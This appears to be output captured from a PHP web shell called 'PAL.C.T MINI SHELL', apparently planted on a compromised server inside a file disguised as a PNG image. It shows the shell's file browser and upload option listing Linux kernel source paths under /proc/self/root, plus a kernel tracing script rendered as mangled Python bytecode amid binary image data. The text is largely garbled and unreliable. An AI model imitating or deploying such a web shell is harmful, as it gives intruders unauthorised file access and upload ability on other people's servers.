php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/
upload
files >> //proc/self/root/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyo

5Kc@sdZddkZddkZdddYZdefdYZdefdYZd	Zd
Ze	djoendS(
sH
Copyright 2008 (c) Frederic Weisbecker <fweisbec@gmail.com>
Licensed under the terms of the GNU GPL License version 2

This script parses a trace provided by the function tracer in
kernel/trace/trace_functions.c
The resulted trace is processed into a tree to produce a more human
view of the call stack by drawing textual but hierarchical tree of
calls. Only the functions's names and the the call time are provided.

Usage:
	Be sure that you have CONFIG_FUNCTION_TRACER
	# mount -t debugfs nodev /sys/kernel/debug
	# echo function > /sys/kernel/debug/tracing/current_tracer
	$ cat /sys/kernel/debug/tracing/trace_pipe > ~/raw_trace_func
	Wait some times but not too much, the script is a bit slow.
	Break the pipe (Ctrl + Z)
	$ scripts/draw_functrace.py < raw_trace_func > draw_functrace
	Then you have your drawn trace in draw_functrace
iNtCallTreecBsGeZdZdZdddZdZdZdZdZ	RS(s This class provides a tree representation of the functions
		call stack. If a function has no parent in the kernel (interrupt,
		syscall, kernel thread...) then it is attached to a virtual parent
		called ROOT.
	cCsE||_||_|djoti|_n
||_g|_dS(N(t_funct_timetNoneRtROOTt_parentt	_children(tselftfuncttimetparent((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt__init__#s		
	cCs&t|||}|ii||S(s If a function calls another one, call this method to insert it
			into the tree at the appropriate place.
			@return: A reference to the newly created child node.
		(RRtappend(RRtcalltimetchild((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pytcalls,scCse|}x.|tijo|i|jo
|i}q	W|tijotii|d}|S|S(s Retrieve the last parent of the current node that
			has the name given by func. If this function is not
			on a parent, then create it as new child of root
			@return: A reference to the parent.
		N(RRRRRR(RRttreeR((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt	getParent5s cCs|idtS(Nt(t_CallTree__toStringtTrue(R((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt__repr__CscCs|idj	od||i|if}nd||if}d}|o|d d}nx|t|ijov|t|idjo)|d|i|i|dt7}n&|d|i|i|dt7}|d7}qbW|S(	Ns%s----%s (%s)
s	%s----%s
iit is%ss    |(RRRtlenRRtFalseR(Rtbrancht	lastChildtsti((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt
__toStringFsN(
t__name__t
__module__t__doc__RRRRRRR(((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyRs					tBrokenLineExceptioncBseZdZRS(syIf the last line is not complete because of the pipe breakage,
	   we want to stop the processing and ignore this line.
	(RRR (((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyR!YstCommentLineExceptioncBseZdZRS(sY If the line is a comment (as in the beginning of the trace file),
	    just ignore it.
	(RRR (((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyR"_scCsw|i}|ido
tntid|}|djo
tn|id|id|idfS(Nt#s"[^]]+?\] +([0-9.]+): (\w+) <-(\w+)iii(tstript
startswithR"tretmatchRR!tgroup(tlinetm((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt	parseLinefs


cCstdddt_ti}xwtiD]l}yt|\}}}Wn)tj
oPntj
o
q(nX|i|}|i	||}q(WtiGHdS(NsRoot (Nowhere)(
RRRtsyststdinR+R!R"RR(RR)R
tcalleetcaller((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pytmainps	
t__main__((
R R,R&Rt	ExceptionR!R"R+R0R(((sK/usr/src/kernels/2.6.32-754.29.1.el6.i686/scripts/tracing/draw_functrace.pyt<module>s>	
	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`